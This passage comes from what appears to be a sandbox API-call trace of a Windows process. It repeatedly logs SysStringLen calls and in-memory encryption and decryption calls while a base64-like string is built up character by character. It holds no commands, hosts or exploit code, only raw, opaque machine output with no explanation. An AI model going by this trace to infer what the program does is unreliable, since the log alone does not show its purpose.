out: Memory=0x8e8852c) returned 0x0 [0133.462] SysStringLen (param_1="nhfHQBk9dRycLRXnr/Sd௝쇨䍨末") returned 0x18 [0133.462] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.462] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x84d6\x336b\x548\x6315\xecd2\x6497\xcc41\x5eaa") returned 0x18 [0133.462] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x84d6\x336b\x548\x6315\xecd2\x6497\xcc41\x5eaa") returned 0x18 [0133.462] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.462] SysStringLen (param_1="nhfHQBk9dRycLRXnr/Sdb쇨䍨末") returned 0x18 [0133.462] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.462] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x4fd8\xf10f\x4c17\x856a\x3dae\xa870\x3a65\x602d") returned 0x18 [0133.462] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x4fd8\xf10f\x4c17\x856a\x3dae\xa870\x3a65\x602d") returned 0x18 [0133.462] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.462] SysStringLen (param_1="nhfHQBk9dRycLRXnr/Sdbe䍨末") returned 0x18 [0133.462] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.462] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\xdfc1\xc958\xe3c1\xced9\xcfbd\x3d84\xab04\xc526") returned 0x18 [0133.462] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\xdfc1\xc958\xe3c1\xced9\xcfbd\x3d84\xab04\xc526") returned 0x18 [0133.462] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.463] SysStringLen (param_1="nhfHQBk9dRycLRXnr/Sdbeh末") returned 0x18 [0133.463] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.463] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\xb707\xb1f2\xcd09\x7de5\xcdc\x57db\x713b\xf9e3") returned 0x18 [0133.463] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\xb707\xb1f2\xcd09\x7de5\xcdc\x57db\x713b\xf9e3") returned 0x18 [0133.463] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.463] SysStringLen (param_1="nhfHQBk9dRycLRXnr/SdbehZ") returned 0x18 [0133.463] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.463] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884") returned 0x18 [0133.463] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884") returned 0x18 [0133.463] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884") returned 0x18 [0133.463] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884") returned 0x20 [0133.463] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.463] SysStringLen (param_1="nhfHQBk9dRycLRXnr/SdbehZi鐋㚥씔ḛ⨡옾塗") returned 0x20 [0133.463] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.463] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\x7d9b\xf271\x42f2\x44f7\xb0b0\x1b90\x35f\x77eb") returned 0x20 [0133.463] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\x7d9b\xf271\x42f2\x44f7\xb0b0\x1b90\x35f\x77eb") returned 0x20 [0133.463] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.464] SysStringLen (param_1="nhfHQBk9dRycLRXnr/SdbehZix㚥씔ḛ⨡옾塗") returned 0x20 [0133.464] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.464] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xbd9c\xcec6\x5925\x1beb\x3449\xc411\x1787\xd7f3") returned 0x20 [0133.464] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xbd9c\xcec6\x5925\x1beb\x3449\xc411\x1787\xd7f3") returned 0x20 [0133.464] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.464] SysStringLen (param_1="nhfHQBk9dRycLRXnr/SdbehZixw씔ḛ⨡옾塗") returned 0x20 [0133.464] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.464] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\x230a\xf5c7\x4e0c\x21df\x5dc0\xc2d\xd26e\x7906") returned 0x20 [0133.464] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\x230a\xf5c7\x4e0c\x21df\x5dc0\xc2d\xd26e\x7906") returned 0x20 [0133.464] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.464] SysStringLen (param_1="nhfHQBk9dRycLRXnr/SdbehZixwWḛ⨡옾塗") returned 0x20 [0133.464] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.464] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\x1a12\xcd8d\x6fa8\xf0bd\x5f03\x1002\x248d\x4de3") returned 0x20 [0133.464] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\x1a12\xcd8d\x6fa8\xf0bd\x5f03\x1002\x248d\x4de3") returned 0x20 [0133.464] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.464] SysStringLen (param_1="nhfHQBk9dRycLRXnr/SdbehZixwWz⨡옾塗") returned 0x20 [0133.464] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.465] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xdea7\xcde\x48f7\x7a6e\xd430\xbde0\x5d4\xaace") returned 0x20 [0133.465] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xdea7\xcde\x48f7\x7a6e\xd430\xbde0\x5d4\xaace") returned 0x20 [0133.465] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.465] SysStringLen (param_1="nhfHQBk9dRycLRXnr/SdbehZixwWzd옾塗") returned 0x20 [0133.465] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.465] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\x2c29\x50e2\xac95\x8211\xb46e\xc3dd\x4250\x36ad") returned 0x20 [0133.465] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\x2c29\x50e2\xac95\x8211\xb46e\xc3dd\x4250\x36ad") returned 0x20 [0133.465] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.465] SysStringLen (param_1="nhfHQBk9dRycLRXnr/SdbehZixwWzdY塗") returned 0x20 [0133.465] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.465] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xd05d\xc347\xddfb\xe5d3\xcc7e\xa0a\x6364\x710a") returned 0x20 [0133.465] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xd05d\xc347\xddfb\xe5d3\xcc7e\xa0a\x6364\x710a") returned 0x20 [0133.465] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.465] SysStringLen (param_1="nhfHQBk9dRycLRXnr/SdbehZixwWzdY+") returned 0x20 [0133.465] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.465] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xabad\x27ad\x8b27\x643a\xc729\x9263\xfcf2\xffb4") returned 0x20 [0133.465] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xabad\x27ad\x8b27\x643a\xc729\x9263\xfcf2\xffb4") returned 0x20 [0133.465] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xabad\x27ad\x8b27\x643a\xc729\x9263\xfcf2\xffb4") returned 0x20 [0133.466] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xabad\x27ad\x8b27\x643a\xc729\x9263\xfcf2\xffb4\x37f2") returned 0x28 [0133.466] SystemFunction041 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.466] SysStringLen (param_1="nhfHQBk9dRycLRXnr/SdbehZixwWzdY+F豗෥⽎") returned 0x28 [0133.466] SystemFunction040 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.466] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xabad\x27ad\x8b27\x643a\xc729\x9263\xfcf2\xffb4\xac45\xaec\x6483\xab77\xf706\xd923\x128a\x67a9") returned 0x28 [0133.466] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xabad\x27ad\x8b27\x643a\xc729\x9263\xfcf2\xffb4\xac45\xaec\x6483\xab77\xf706\xd923\x128a\x67a9") returned 0x28 [0133.466] SystemFunction041 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.466] SysStringLen (param_1="nhfHQBk9dRycLRXnr/SdbehZixwWzdY+FJ豗෥⽎") returned 0x28 [0133.466] SystemFunction040 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.466] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xabad\x27ad\x8b27\x643a\xc729\x9263\xfcf2\xffb4\x16a9\xa4be\xda47\xd034\x8b28\x240d\x5f3e\x4991") returned 0x28 [0133.466] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xabad\x27ad\x8b27\x643a\xc729\x9263\xfcf2\xffb4\x16a9\xa4be\xda47\xd034\x8b28\x240d\x5f3e\x4991") returned 0x28 [0133.466] SystemFunction041 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.466] SysStringLen (param_1="nhfHQBk9dRycLRXnr/SdbehZixwWzdY+FJg෥⽎") returned 0x28 [0133.466] SystemFunction040 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.466] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xabad\x27ad\x8b27\x643a\xc729\x9263\xfcf2\xffb4\x7533\x2217\x5723\x535d\x54fd\x2300\xd8de\x7092") returned 0x28 [0133.466] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xabad\x27ad\x8b27\x643a\xc729\x9263\xfcf2\xffb4\x7533\x2217\x5723\x535d\x54fd\x2300\xd8de\x7092") returned 0x28 [0133.466] SystemFunction041 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.467] SysStringLen (param_1="nhfHQBk9dRycLRXnr/SdbehZixwWzdY+FJgJ෥⽎") returned 0x28 [0133.467] SystemFunction040 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.467] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xabad\x27ad\x8b27\x643a\xc729\x9263\xfcf2\xffb4\x6494\x5101\xc70e\x278\x60a5\x3423\x4d42\x7fef") returned 0x28 [0133.467] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xabad\x27ad\x8b27\x643a\xc729\x9263\xfcf2\xffb4\x6494\x5101\xc70e\x278\x60a5\x3423\x4d42\x7fef") returned 0x28 [0133.467] SystemFunction041 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.467] SysStringLen (param_1="nhfHQBk9dRycLRXnr/SdbehZixwWzdY+FJgJx⽎") returned 0x28 [0133.467] SystemFunction040 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.467] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xabad\x27ad\x8b27\x643a\xc729\x9263\xfcf2\xffb4\xad9f\x7dc7\x8a98\xb3a5\xbd4c\x1d7e\xac0\xd03a") returned 0x28 [0133.467] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xabad\x27ad\x8b27\x643a\xc729\x9263\xfcf2\xffb4\xad9f\x7dc7\x8a98\xb3a5\xbd4c\x1d7e\xac0\xd03a") returned 0x28 [0133.467] SystemFunction041 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.467] SysStringLen (param_1="nhfHQBk9dRycLRXnr/SdbehZixwWzdY+FJgJxJ⽎") returned 0x28 [0133.467] SystemFunction040 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.467] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xabad\x27ad\x8b27\x643a\xc729\x9263\xfcf2\xffb4\xbfab\x97bc\x393\x61e6\xd0a\x7ff6\x7269\xde90") returned 0x28 [0133.467] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xabad\x27ad\x8b27\x643a\xc729\x9263\xfcf2\xffb4\xbfab\x97bc\x393\x61e6\xd0a\x7ff6\x7269\xde90") returned 0x28 [0133.467] SystemFunction041 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.467] SysStringLen (param_1="nhfHQBk9dRycLRXnr/SdbehZixwWzdY+FJgJxJV⽎") returned 0x28 [0133.467] SystemFunction040 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.468] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xabad\x27ad\x8b27\x643a\xc729\x9263\xfcf2\xffb4\xc3ce\x1432\xb6f9\x7ff\x7875\x7e0b\x1abb\x9d1") returned 0x28 [0133.468] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xabad\x27ad\x8b27\x643a\xc729\x9263\xfcf2\xffb4\xc3ce\x1432\xb6f9\x7ff\x7875\x7e0b\x1abb\x9d1") returned 0x28 [0133.468] SystemFunction041 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.468] SysStringLen (param_1="nhfHQBk9dRycLRXnr/SdbehZixwWzdY+FJgJxJVG") returned 0x28 [0133.468] SystemFunction040 (in: Memory=0x43838b4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43838b4) returned 0x0 [0133.468] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xabad\x27ad\x8b27\x643a\xc729\x9263\xfcf2\xffb4\xbf4d\xe650\x2cee\x4360\x8d59\x25bc\xfd7a\xf613") returned 0x28 [0133.468] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xabad\x27ad\x8b27\x643a\xc729\x9263\xfcf2\xffb4\xbf4d\xe650\x2cee\x4360\x8d59\x25bc\xfd7a\xf613") returned 0x28 [0133.468] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xabad\x27ad\x8b27\x643a\xc729\x9263\xfcf2\xffb4\xbf4d\xe650\x2cee\x4360\x8d59\x25bc\xfd7a\xf613") returned 0x28 [0133.468] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xabad\x27ad\x8b27\x643a\xc729\x9263\xfcf2\xffb4\xbf4d\xe650\x2cee\x4360\x8d59\x25bc\xfd7a\xf613") returned 0x30 [0133.468] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0133.468] SysStringLen (param_1="nhfHQBk9dRycLRXnr/SdbehZixwWzdY+FJgJxJVGx徦䉦䦙ㄩ뢁움") returned 0x30 [0133.468] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0133.468] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xabad\x27ad\x8b27\x643a\xc729\x9263\xfcf2\xffb4\xbf4d\xe650\x2cee\x4360\x8d59\x25bc\xfd7a\xf613\x561f\xccff\xca58\x5a95\x89b1\x6b41\x9a14\xef32") returned 0x30 [0133.468] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xabad\x27ad\x8b27\x643a\xc729\x9263\xfcf2\xffb4\xbf4d\xe650\x2cee\x4360\x8d59\x25bc\xfd7a\xf613\x561f\xccff\xca58\x5a95\x89b1\x6b41\x9a14\xef32") returned 0x30 [0133.468] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0133.468] SysStringLen (param_1="nhfHQBk9dRycLRXnr/SdbehZixwWzdY+FJgJxJVGxP徦䉦䦙ㄩ뢁움") returned 0x30 [0133.468] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0133.469] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xabad\x27ad\x8b27\x643a\xc729\x9263\xfcf2\xffb4\xbf4d\xe650\x2cee\x4360\x8d59\x25bc\xfd7a\xf613\x2eb2\xb605\xd150\x9b03\xdff3\xe316\x1fc7\x2021") returned 0x30 [0133.469] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xabad\x27ad\x8b27\x643a\xc729\x9263\xfcf2\xffb4\xbf4d\xe650\x2cee\x4360\x8d59\x25bc\xfd7a\xf613\x2eb2\xb605\xd150\x9b03\xdff3\xe316\x1fc7\x2021") returned 0x30 [0133.469] SystemFunction041 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0133.469] SysStringLen (param_1="nhfHQBk9dRycLRXnr/SdbehZixwWzdY+FJgJxJVGxPk䉦䦙ㄩ뢁움") returned 0x30 [0133.469] SystemFunction040 (in: Memory=0x8e30b0c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b0c) returned 0x0 [0133.469] SysStringLen (param_1="\x5d7d\x2c51\x521c\xcaec\x4ee2\xaf7\xfcaf\xb685\x101b\x8d89\x4840\x5136\xcf1d\xd57d\x693\x57f8\x9bf2\x9421\x45ed\xc412\xdadb\x3eb4\x83c5\x6884\xabad\x27ad\x8b27\x643a\xc729\x9263\xfcf2\xffb4\xbf4d\xe650\x2cee\x4360\x8d59\x25bc\xfd7a\xf613\x48f5\x2e0c\xa570\x4b40\xa3c6\x43ea\x3fa5\x5f4") returned 0x30 [0133.469] SysStringLen 